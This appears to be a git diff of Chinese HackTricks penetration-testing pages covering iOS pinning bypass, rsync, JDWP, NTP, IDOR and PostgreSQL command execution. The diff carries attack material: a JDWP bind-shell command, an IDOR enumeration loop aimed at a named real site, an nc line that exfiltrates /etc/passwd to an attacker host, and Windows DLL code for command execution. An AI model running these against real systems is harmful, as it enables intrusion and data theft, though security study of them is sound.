验证 TLS 证书的一个常见问题是检查证书是否由 **受信任的** **CA** 签名,但 **不检查** **证书的主机名** 是否是正在访问的主机名。\
|
||||
为了使用 Burp 检查此问题,在 iPhone 中信任 Burp CA 后,可以 **为不同的主机名创建一个新的 Burp 证书** 并使用它。如果应用程序仍然可以正常工作,那么它就存在漏洞。
|
||||
|
||||
### 证书钉扎
|
||||
|
||||
如果应用程序正确使用 SSL 钉扎,则应用程序仅在证书是预期的证书时才能正常工作。在测试应用程序时 **这可能是一个问题,因为 Burp 将提供自己的证书。**\
|
||||
为了绕过这种保护,可以在越狱设备上安装 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) 或安装 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
为了在越狱设备中绕过此保护,可以安装应用程序 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) 或安装 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
|
||||
您还可以使用 **objection's** `ios sslpinning disable`
|
||||
|
||||
@ -1036,11 +1036,11 @@ burp-configuration-for-ios.md
|
||||
- 在已安装应用程序的文件夹中 (**`/User/Applications/<APP ID>/`**) 您可以找到一些有趣的文件:
|
||||
- **`iTunesArtwork`**:应用程序使用的图标
|
||||
- **`iTunesMetadata.plist`**:在 App Store 中使用的应用程序信息
|
||||
- **`/Library/*`**:包含首选项和缓存。在 **`/Library/Cache/Snapshots/*`** 中可以找到在将应用程序发送到后台之前对其进行的快照。
|
||||
- **`/Library/*`**:包含首选项和缓存。在 **`/Library/Cache/Snapshots/*`** 中,您可以找到在将应用程序发送到后台之前对其进行的快照。
|
||||
|
||||
### 热补丁/强制更新
|
||||
|
||||
开发人员可以 **立即远程修补其应用程序的所有安装**,而无需重新提交应用程序到 App Store 并等待批准。\
|
||||
开发人员可以 **立即修补其应用程序的所有安装**,而无需重新提交应用程序到 App Store 并等待批准。\
|
||||
为此,通常使用 [**JSPatch**](https://github.com/bang590/JSPatch)**.** 但还有其他选项,如 [Siren](https://github.com/ArtSabintsev/Siren) 和 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)。\
|
||||
**这是一种危险的机制,可能被恶意第三方 SDK 滥用,因此建议检查用于自动更新的方法(如果有的话)并进行测试。** 您可以尝试下载该应用程序的先前版本以此目的。
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
来自 [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||
|
||||
> **rsync** 是一个用于高效 [传输](https://en.wikipedia.org/wiki/File_transfer) 和 [同步](https://en.wikipedia.org/wiki/File_synchronization) [文件](https://en.wikipedia.org/wiki/Computer_file) 的工具,可以在计算机与外部硬盘之间以及通过 [网络](https://en.wikipedia.org/wiki/Computer_network) [计算机](https://en.wikipedia.org/wiki/Computer) 之间进行文件的比较,基于 [修改时间](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) 和文件大小进行传输。[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) 它通常出现在 [类Unix](https://en.wikipedia.org/wiki/Unix-like) [操作系统](https://en.wikipedia.org/wiki/Operating_system) 上。rsync 算法是一种 [增量编码](https://en.wikipedia.org/wiki/Delta_encoding),用于最小化网络使用。 [Zlib](https://en.wikipedia.org/wiki/Zlib) 可用于额外的 [数据压缩](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) 并且可以使用 [SSH](https://en.wikipedia.org/wiki/Secure_Shell) 或 [stunnel](https://en.wikipedia.org/wiki/Stunnel) 来增强安全性。
|
||||
> **rsync** 是一个用于高效 [传输](https://en.wikipedia.org/wiki/File_transfer) 和 [同步](https://en.wikipedia.org/wiki/File_synchronization) [文件](https://en.wikipedia.org/wiki/Computer_file) 的工具,可以在计算机与外部硬盘之间以及通过 [网络](https://en.wikipedia.org/wiki/Computer_network) [计算机](https://en.wikipedia.org/wiki/Computer) 之间进行文件比较 [修改时间](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) 和大小。[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) 它通常出现在 [类Unix](https://en.wikipedia.org/wiki/Unix-like) [操作系统](https://en.wikipedia.org/wiki/Operating_system) 上。rsync 算法是一种 [增量编码](https://en.wikipedia.org/wiki/Delta_encoding),用于最小化网络使用。 [Zlib](https://en.wikipedia.org/wiki/Zlib) 可用于额外的 [数据压缩](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) 并且可以使用 [SSH](https://en.wikipedia.org/wiki/Secure_Shell) 或 [stunnel](https://en.wikipedia.org/wiki/Stunnel) 来增强安全性。
|
||||
|
||||
**默认端口:** 873
|
||||
```
|
||||
@ -39,7 +39,7 @@ raidroot
|
||||
```
|
||||
### **枚举共享文件夹**
|
||||
|
||||
**Rsync 模块** 被视为可能 **受密码保护的目录共享**。要识别可用模块并检查它们是否需要密码,可以使用以下命令:
|
||||
**Rsync 模块**被视为可能**受密码保护的目录共享**。要识别可用模块并检查它们是否需要密码,可以使用以下命令:
|
||||
```bash
|
||||
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/rsync/modules_list
|
||||
@ -47,7 +47,7 @@ msf> use auxiliary/scanner/rsync/modules_list
|
||||
# Example with IPv6 and alternate port
|
||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||
```
|
||||
请注意,某些共享可能不会出现在列表中,可能会隐藏它们。此外,访问某些共享可能会限制特定的 **credentials**,并显示 **"Access Denied"** 消息。
|
||||
请注意,某些共享可能不会出现在列表中,可能会隐藏它们。此外,访问某些共享可能会限制为特定的 **credentials**,并显示 **"Access Denied"** 消息。
|
||||
|
||||
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
|
||||
|
||||
@ -63,7 +63,7 @@ rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
```
|
||||
这个过程**递归地传输文件**,保留它们的属性和权限。
|
||||
|
||||
使用**凭据**,可以按如下方式从共享文件夹列出和下载文件,此时将出现密码提示:
|
||||
使用**凭据**,可以按如下方式从共享文件夹列出和下载文件,此时会出现密码提示:
|
||||
```bash
|
||||
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
||||
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
|
||||
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 利用
|
||||
## Exploiting
|
||||
|
||||
JDWP 利用依赖于 **协议缺乏身份验证和加密**。它通常在 **8000 端口**上找到,但其他端口也是可能的。初始连接是通过向目标端口发送 "JDWP-Handshake" 来建立的。如果 JDWP 服务处于活动状态,它会以相同的字符串响应,确认其存在。此握手作为一种指纹识别方法,用于识别网络上的 JDWP 服务。
|
||||
JDWP 利用依赖于 **协议缺乏认证和加密**。它通常在 **8000 端口**上找到,但其他端口也是可能的。初始连接是通过向目标端口发送 "JDWP-Handshake" 来建立的。如果 JDWP 服务处于活动状态,它会以相同的字符串响应,确认其存在。此握手作为一种指纹识别方法,用于识别网络上的 JDWP 服务。
|
||||
|
||||
在进程识别方面,在 Java 进程中搜索字符串 "jdwk" 可以指示一个活动的 JDWP 会话。
|
||||
|
||||
@ -14,11 +14,11 @@ JDWP 利用依赖于 **协议缺乏身份验证和加密**。它通常在 **8000
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
||||
```
|
||||
我发现使用 `--break-on 'java.lang.String.indexOf'` 使得利用更加 **稳定**。如果你有机会向主机上传一个后门并执行它,而不是执行一个命令,利用将会更加稳定。
|
||||
我发现使用 `--break-on 'java.lang.String.indexOf'` 使得利用更加 **稳定**。如果你有机会将后门上传到主机并执行它,而不是执行命令,利用将会更加稳定。
|
||||
|
||||
## 更多细节
|
||||
|
||||
**这是[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)的总结**。请查看以获取更多细节。
|
||||
**这是 [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) 的摘要**。请查看以获取更多细节。
|
||||
|
||||
1. **JDWP 概述**:
|
||||
|
||||
@ -27,25 +27,25 @@ JDWP 利用依赖于 **协议缺乏身份验证和加密**。它通常在 **8000
|
||||
|
||||
2. **JDWP 握手**:
|
||||
|
||||
- 使用简单的握手过程来启动通信。调试器(客户端)和被调试程序(服务器)之间交换一个14个字符的ASCII字符串“JDWP-Handshake”。
|
||||
- 使用简单的握手过程来启动通信。调试器(客户端)和被调试程序(服务器)之间交换一个 14 字符的 ASCII 字符串 “JDWP-Handshake”。
|
||||
|
||||
3. **JDWP 通信**:
|
||||
|
||||
- 消息具有简单的结构,包含长度、ID、标志和命令集等字段。
|
||||
- 命令集值范围从0x40到0x80,表示不同的操作和事件。
|
||||
- 命令集值范围从 0x40 到 0x80,表示不同的操作和事件。
|
||||
|
||||
4. **利用**:
|
||||
|
||||
- JDWP 允许加载和调用任意类和字节码,带来安全风险。
|
||||
- 文章详细描述了一个五步的利用过程,包括获取Java运行时引用、设置断点和调用方法。
|
||||
- 文章详细描述了一个五步的利用过程,包括获取 Java 运行时引用、设置断点和调用方法。
|
||||
|
||||
5. **现实生活中的利用**:
|
||||
|
||||
- 尽管可能有防火墙保护,JDWP服务在现实场景中是可发现和可利用的,正如在ShodanHQ和GitHub等平台上的搜索所示。
|
||||
- 利用脚本已在各种JDK版本上进行了测试,并且是平台无关的,提供可靠的远程代码执行(RCE)。
|
||||
- 尽管可能有防火墙保护,JDWP 服务在现实场景中是可发现和可利用的,正如在 ShodanHQ 和 GitHub 上的搜索所示。
|
||||
- 利用脚本已在各种 JDK 版本上测试,并且是平台无关的,提供可靠的远程代码执行(RCE)。
|
||||
|
||||
6. **安全影响**:
|
||||
- 互联网上开放的JDWP服务的存在强调了定期进行安全审查、在生产环境中禁用调试功能以及适当的防火墙配置的必要性。
|
||||
- 互联网上开放的 JDWP 服务的存在强调了定期进行安全审查、在生产环境中禁用调试功能以及适当的防火墙配置的必要性。
|
||||
|
||||
### **参考文献:**
|
||||
|
||||
@ -56,7 +56,7 @@ JDWP 利用依赖于 **协议缺乏身份验证和加密**。它通常在 **8000
|
||||
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
||||
- http://www.hsc-news.com/archives/2013/000109.html (不再活跃)
|
||||
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
||||
- https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
|
||||
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
|
||||
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
||||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
|
||||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||||
|
||||
@ -9,7 +9,7 @@
|
||||
### 摘要与安全提示
|
||||
|
||||
- **目的**:在网络上同步设备时钟。
|
||||
- **重要性**:对安全性、日志记录、加密协议和分布式系统至关重要。
|
||||
- **重要性**:对安全、日志记录、加密协议和分布式系统至关重要。
|
||||
- **安全措施**:
|
||||
- 使用经过验证的 NTP 或 NTS(网络时间安全)源并进行身份验证。
|
||||
- 限制可以查询/命令守护进程的用户(``restrict default noquery``、``kod`` 等)。
|
||||
@ -80,29 +80,29 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv
|
||||
|
||||
| 年份 | CVE | 组件 | 影响 |
|
||||
|------|-----|-----------|--------|
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | 多个越界写入可通过 **ntpq** 响应访问。补丁在 **4.2.8p16** 🡒 升级或回移修复。 citeturn1search1turn1search2turn1search0|
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust 实现) | 格式错误的 **NTS** cookie 导致 v0.3.3 之前的远程 **DoS** – 即使在 NTS **禁用** 时也影响 123 端口。 citeturn4view0|
|
||||
| 2024 | 发行版更新 | **chrony 4.4 / 4.5** – 多个安全加固和 NTS-KE 修复 (例如 SUSE-RU-2024:2022) citeturn2search2|
|
||||
| 2024 | 记录 DDoS | Cloudflare 报告 **5.6 Tbps UDP 反射** 攻击 (NTP 在使用的协议中)。保持 *monitor* 和 *monlist* 在面向互联网的主机上禁用。 citeturn5search0|
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | 多个越界写入可通过 **ntpq** 响应访问。补丁在 **4.2.8p16** 🡒 升级或回移修复。 |
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust 实现) | 格式错误的 **NTS** cookie 导致 v0.3.3 之前的远程 **DoS** – 即使在 NTS **禁用** 时也影响 123 端口。 |
|
||||
| 2024 | 发行版更新 | **chrony 4.4 / 4.5** – 多个安全加固和 NTS-KE 修复 (例如 SUSE-RU-2024:2022) |
|
||||
| 2024 | 记录 DDoS | Cloudflare 报告 **5.6 Tbps UDP 反射** 攻击 (NTP 在使用的协议中)。保持 *monitor* 和 *monlist* 在面向互联网的主机上禁用。 |
|
||||
|
||||
> **利用工具包**:2023 年 ntpq OOB-write 系列的概念验证有效载荷在 GitHub 上可用(参见 Meinberg 的总结),可以用于针对系统管理员的客户端钓鱼攻击。 citeturn1search4
|
||||
> **利用工具包**:2023 年 ntpq OOB 写入系列的概念验证有效载荷在 GitHub 上可用(参见 Meinberg 的写作),并可用于针对系统管理员的客户端钓鱼攻击。
|
||||
|
||||
---
|
||||
## 高级攻击
|
||||
|
||||
### 1. NTP 放大 / 反射
|
||||
|
||||
传统的 Mode-7 ``monlist`` 查询返回多达 **600 个主机地址**,并且仍然存在于数千个互联网主机上。由于回复(428-468 字节/条目)比 8 字节请求大 *~ 200×*,攻击者可以达到三位数的放大因子。缓解措施:
|
||||
传统的 Mode-7 ``monlist`` 查询返回多达 **600 个主机地址**,并且仍然存在于数千个互联网主机上。由于回复(428-468 字节/条目)是请求的 8 字节的 *~ 200×* 大,因此攻击者可以达到三位数的放大因子。缓解措施:
|
||||
|
||||
- 升级到 ntp 4.2.8p15+ 并 **添加** ``disable monitor``。
|
||||
- 在边缘对 UDP/123 进行速率限制或在 DDoS 设备上启用 *sessions-required*。
|
||||
- 启用 *BCP 38* 出口过滤以阻止源欺骗。
|
||||
|
||||
请参阅 Cloudflare 的学习中心文章以获取逐步分解。 citeturn5search1
|
||||
请参阅 Cloudflare 的学习中心文章以获取逐步分解。
|
||||
|
||||
### 2. 时间偏移 / 延迟攻击 (Khronos / Chronos 研究)
|
||||
|
||||
即使有身份验证,路径上的攻击者也可以通过丢弃/延迟数据包静默地 **移动客户端时钟**。IETF **Khronos(前称 Chronos)草案** 提议在后台查询多样化的服务器并对结果进行合理性检查,以检测偏移 > 𝚡 毫秒。现代 chrony (4.4+) 已经实现了类似的合理性过滤器 (``maxdistance`` / ``maxjitter``)。 citeturn9search1
|
||||
即使有身份验证,路径上的攻击者也可以通过丢弃/延迟数据包静默地 **移动客户端时钟**。IETF **Khronos(前称 Chronos)草案** 提议在后台查询多样化的服务器并对结果进行合理性检查,以检测偏移 > 𝚡 毫秒。现代 chrony (4.4+) 已经实现了类似的合理性过滤器 (``maxdistance`` / ``maxjitter``)。
|
||||
|
||||
### 3. NTS 滥用与 4460/tcp 暴露
|
||||
|
||||
@ -114,20 +114,20 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
|
||||
# Grab banner & ALPN
|
||||
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
|
||||
```
|
||||
查找自签名或过期证书以及弱密码套件(非 AEAD)。参考:RFC 8915 §4. citeturn11search0
|
||||
查找自签名或过期证书以及弱密码套件(非AEAD)。参考:RFC 8915 §4。
|
||||
|
||||
---
|
||||
## 加固 / 最佳当前实践 (BCP-233 / RFC 8633)
|
||||
|
||||
*操作员应:*
|
||||
|
||||
1. 使用 **≥ 4** 个独立、多样的时间源(公共池、GPS、PTP-桥)以避免单一源中毒。
|
||||
1. 使用 **≥ 4** 个独立、多样的时间源(公共池、GPS、PTP-桥)以避免单一源污染。
|
||||
2. 启用 ``kod`` 和 ``limited``/``nomodify`` 限制,以便滥用客户端接收 **Kiss-o'-Death** 限速数据包,而不是完整响应。
|
||||
3. 监控守护进程日志以查找 **panic** 事件或步进调整 > 1000 s。(根据 RFC 8633 §5.3 的攻击特征。)
|
||||
3. 监控守护进程日志以查找 **panic** 事件或步进调整 > 1000 s。(根据RFC 8633 §5.3的攻击特征。)
|
||||
4. 考虑 **leap-smear** 以避免闰秒中断,但确保 *所有* 下游客户端使用相同的涂抹窗口。
|
||||
5. 保持轮询 ≤24 小时,以免错过闰秒标志。
|
||||
|
||||
有关全面检查清单,请参见 RFC 8633。 citeturn8search0turn8search1
|
||||
请参阅RFC 8633以获取全面的检查清单。
|
||||
|
||||
---
|
||||
## Shodan / Censys Dorks
|
||||
@ -169,14 +169,14 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
|
||||
---
|
||||
## 参考文献
|
||||
|
||||
- RFC 8915 – *网络时间协议的网络时间安全* (端口 4460) citeturn11search0
|
||||
- RFC 8633 – *网络时间协议 BCP* citeturn8search0
|
||||
- Cloudflare DDoS 报告 2024 Q4 (5.6 Tbps) citeturn5search0
|
||||
- Cloudflare *NTP 放大攻击* 文章 citeturn5search1
|
||||
- NTP 4.2.8p15 CVE 系列 2023-04 citeturn1search4
|
||||
- NVD 条目 **CVE-2023-26551–55**, **CVE-2023-33192** citeturn1search1turn1search2turn1search0turn4view0
|
||||
- SUSE chrony 安全更新 2024 (chrony 4.5) citeturn2search2
|
||||
- Khronos/Chronos 草案 (时间偏移缓解) citeturn9search1
|
||||
- chronyc 手册/远程监控示例 citeturn3search0turn10search1
|
||||
- zgrab2 ntp 模块文档 citeturn7search0
|
||||
- RFC 8915 – *网络时间协议的网络时间安全* (port 4460)
|
||||
- RFC 8633 – *网络时间协议 BCP*
|
||||
- Cloudflare DDoS 报告 2024 Q4 (5.6 Tbps)
|
||||
- Cloudflare *NTP 放大攻击* 文章
|
||||
- NTP 4.2.8p15 CVE 系列 2023-04
|
||||
- NVD 条目 **CVE-2023-26551–55**, **CVE-2023-33192**
|
||||
- SUSE chrony 安全更新 2024 (chrony 4.5)
|
||||
- Khronos/Chronos 草案 (时间偏移缓解)
|
||||
- chronyc 手册/远程监控示例
|
||||
- zgrab2 ntp 模块文档
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,5 +1,85 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**查看帖子: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
|
||||
# IDOR (不安全的直接对象引用)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
IDOR (不安全的直接对象引用) / 破损的对象级别授权 (BOLA) 出现于当一个网页或 API 端点泄露或接受一个用户可控的标识符,该标识符被**直接**用于访问一个内部对象**而不验证调用者是否有权**访问/修改该对象。成功的利用通常允许横向或纵向特权提升,例如读取或修改其他用户的数据,在最坏的情况下,完全接管账户或大规模数据外泄。
|
||||
|
||||
---
|
||||
## 1. 识别潜在的 IDOR
|
||||
|
||||
1. 寻找**引用对象的参数**:
|
||||
* 路径: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* 查询: `?id=42`, `?invoice=2024-00001`
|
||||
* 主体 / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* 头部 / Cookies: `X-Client-ID: 4711`
|
||||
2. 优先选择**读取或更新**数据的端点 (`GET`, `PUT`, `PATCH`, `DELETE`)。
|
||||
3. 注意标识符是否**连续或可预测** – 如果你的 ID 是 `64185742`,那么 `64185741` 可能存在。
|
||||
4. 探索隐藏或替代流程(例如 *"Paradox team members"* 登录页面中的链接),可能会暴露额外的 API。
|
||||
5. 使用**经过身份验证的低权限会话**,仅更改 ID **保持相同的令牌/ Cookie**。缺少授权错误通常是 IDOR 的标志。
|
||||
|
||||
### 快速手动篡改 (Burp Repeater)
|
||||
```
|
||||
PUT /api/lead/cem-xhr HTTP/1.1
|
||||
Host: www.example.com
|
||||
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
|
||||
Content-Type: application/json
|
||||
|
||||
{"lead_id":64185741}
|
||||
```
|
||||
### 自动化枚举 (Burp Intruder / curl 循环)
|
||||
```bash
|
||||
for id in $(seq 64185742 64185700); do
|
||||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: auth=$TOKEN" \
|
||||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||||
done
|
||||
```
|
||||
---
|
||||
## 2. 真实案例研究 – McHire 聊天机器人平台 (2025)
|
||||
|
||||
在对 Paradox.ai 驱动的 **McHire** 招聘门户进行评估时,发现了以下 IDOR:
|
||||
|
||||
* 端点: `PUT /api/lead/cem-xhr`
|
||||
* 授权: **任何** 餐厅测试账户的用户会话 cookie
|
||||
* 请求体参数: `{"lead_id": N}` – 8 位,**顺序** 数字标识符
|
||||
|
||||
通过减少 `lead_id`,测试者检索到了任意申请者的 **完整 PII**(姓名、电子邮件、电话、地址、班次偏好),以及一个允许会话劫持的消费者 **JWT**。枚举范围 `1 – 64,185,742` 暴露了大约 **6400 万** 条记录。
|
||||
|
||||
概念验证请求:
|
||||
```bash
|
||||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
结合**默认管理员凭据**(`123456:123456`)授予对测试帐户的访问权限,该漏洞导致了公司范围内的重大数据泄露。
|
||||
|
||||
---
|
||||
## 3. IDOR / BOLA 的影响
|
||||
* 横向升级 – 读取/更新/删除**其他用户**的数据。
|
||||
* 纵向升级 – 低权限用户获得仅限管理员的功能。
|
||||
* 如果标识符是连续的(例如,申请人 ID、发票),则会发生大规模数据泄露。
|
||||
* 通过窃取令牌或重置其他用户的密码进行帐户接管。
|
||||
|
||||
---
|
||||
## 4. 缓解措施与最佳实践
|
||||
1. 在每个请求上**强制对象级授权**(`user_id == session.user`)。
|
||||
2. 优先使用**间接、不可猜测的标识符**(UUIDv4,ULID),而不是自增 ID。
|
||||
3. 在**服务器端**执行授权,绝不要依赖隐藏的表单字段或 UI 控件。
|
||||
4. 在中央中间件中实施**RBAC / ABAC**检查。
|
||||
5. 添加**速率限制和日志记录**以检测 ID 枚举。
|
||||
6. 对每个新端点进行安全测试(单元、集成和 DAST)。
|
||||
|
||||
---
|
||||
## 5. 工具
|
||||
* **BurpSuite 扩展**:Authorize, Auto Repeater, Turbo Intruder。
|
||||
* **OWASP ZAP**:Auth Matrix, Forced Browse。
|
||||
* **Github 项目**:`bwapp-idor-scanner`,`Blindy`(批量 IDOR 搜索)。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 参考文献
|
||||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## PostgreSQL Extensions
|
||||
|
||||
PostgreSQL 的核心特性是可扩展性,允许它无缝集成扩展,就像它们是内置功能一样。这些扩展,基本上是用 C 编写的库,丰富了数据库的额外功能、操作符或类型。
|
||||
PostgreSQL 的核心特性是可扩展性,允许它无缝集成扩展,就像内置功能一样。这些扩展,基本上是用 C 编写的库,为数据库提供额外的函数、运算符或类型。
|
||||
|
||||
从 8.1 版本开始,对扩展库施加了特定要求:它们必须使用特殊头文件编译。没有这个,PostgreSQL 将不会执行它们,确保只使用兼容且可能安全的扩展。
|
||||
|
||||
@ -14,7 +14,7 @@ PostgreSQL 的核心特性是可扩展性,允许它无缝集成扩展,就像
|
||||
|
||||
**有关更多信息,请查看: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
从 PostgreSQL 8.1 及更早版本执行系统命令的过程已经被清楚地记录,并且非常简单。可以使用这个: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
从 PostgreSQL 8.1 及更早版本执行系统命令的过程已经被清楚地记录,并且相对简单。可以使用这个: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
||||
|
||||
<summary>从 base64 写入二进制文件</summary>
|
||||
|
||||
要在 postgres 中将二进制写入文件,您可能需要使用 base64,这对该问题将很有帮助:
|
||||
要在 postgres 中将二进制写入文件,您可能需要使用 base64,这对这个问题会很有帮助:
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||
$$
|
||||
@ -75,13 +75,13 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
此错误在[PostgreSQL文档](https://www.postgresql.org/docs/current/static/xfunc-c.html)中有解释:
|
||||
|
||||
> 为了确保动态加载的对象文件不会加载到不兼容的服务器中,PostgreSQL检查文件是否包含具有适当内容的“魔术块”。这使得服务器能够检测明显的不兼容性,例如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始,魔术块是必需的。要包含魔术块,请在包含头文件fmgr.h之后,在模块源文件中的一个(且仅一个)位置写入以下内容:
|
||||
> 为了确保动态加载的对象文件不会加载到不兼容的服务器中,PostgreSQL检查该文件是否包含具有适当内容的“魔法块”。这使得服务器能够检测明显的不兼容性,例如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始,魔法块是必需的。要包含魔法块,请在包含头文件fmgr.h之后,在模块源文件中的一个(且仅一个)位置写入以下内容:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
> `#endif`
|
||||
|
||||
自PostgreSQL 8.2版本以来,攻击者利用系统的过程变得更加具有挑战性。攻击者需要使用系统上已经存在的库,或者上传自定义库。此自定义库必须针对兼容的PostgreSQL主要版本进行编译,并且必须包含特定的“魔术块”。这一措施显著增加了利用PostgreSQL系统的难度,因为它需要对系统的架构和版本兼容性有更深入的理解。
|
||||
自PostgreSQL 8.2版本以来,攻击者利用系统的过程变得更加具有挑战性。攻击者需要使用系统上已经存在的库,或者上传自定义库。此自定义库必须针对兼容的PostgreSQL主要版本进行编译,并且必须包含特定的“魔法块”。这一措施显著增加了利用PostgreSQL系统的难度,因为它需要对系统的架构和版本兼容性有更深入的理解。
|
||||
|
||||
#### 编译库
|
||||
|
||||
@ -127,7 +127,7 @@ https://github.com/Dionach/pgexec
|
||||
|
||||
### Windows 中的 RCE
|
||||
|
||||
以下 DLL 以 **二进制文件的名称** 和您想要执行的 **次数** 作为输入,并执行它:
|
||||
以下 DLL 以 **二进制文件的名称** 和您想要执行的 **次数** 作为输入并执行它:
|
||||
```c
|
||||
#include "postgres.h"
|
||||
#include <string.h>
|
||||
@ -164,7 +164,7 @@ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
|
||||
PG_RETURN_VOID();
|
||||
}
|
||||
```
|
||||
您可以在此 zip 中找到编译好的 DLL:
|
||||
您可以在此 zip 文件中找到编译好的 DLL:
|
||||
|
||||
{{#file}}
|
||||
pgsql_exec.zip
|
||||
@ -264,7 +264,7 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
|
||||
|
||||
在**最新版本**的PostgreSQL中,施加了限制,`superuser`被**禁止**从特定目录以外的地方**加载**共享库文件,例如在Windows上的`C:\Program Files\PostgreSQL\11\lib`或在\*nix系统上的`/var/lib/postgresql/11/lib`。这些目录对NETWORK_SERVICE或postgres账户的写操作是**安全的**。
|
||||
|
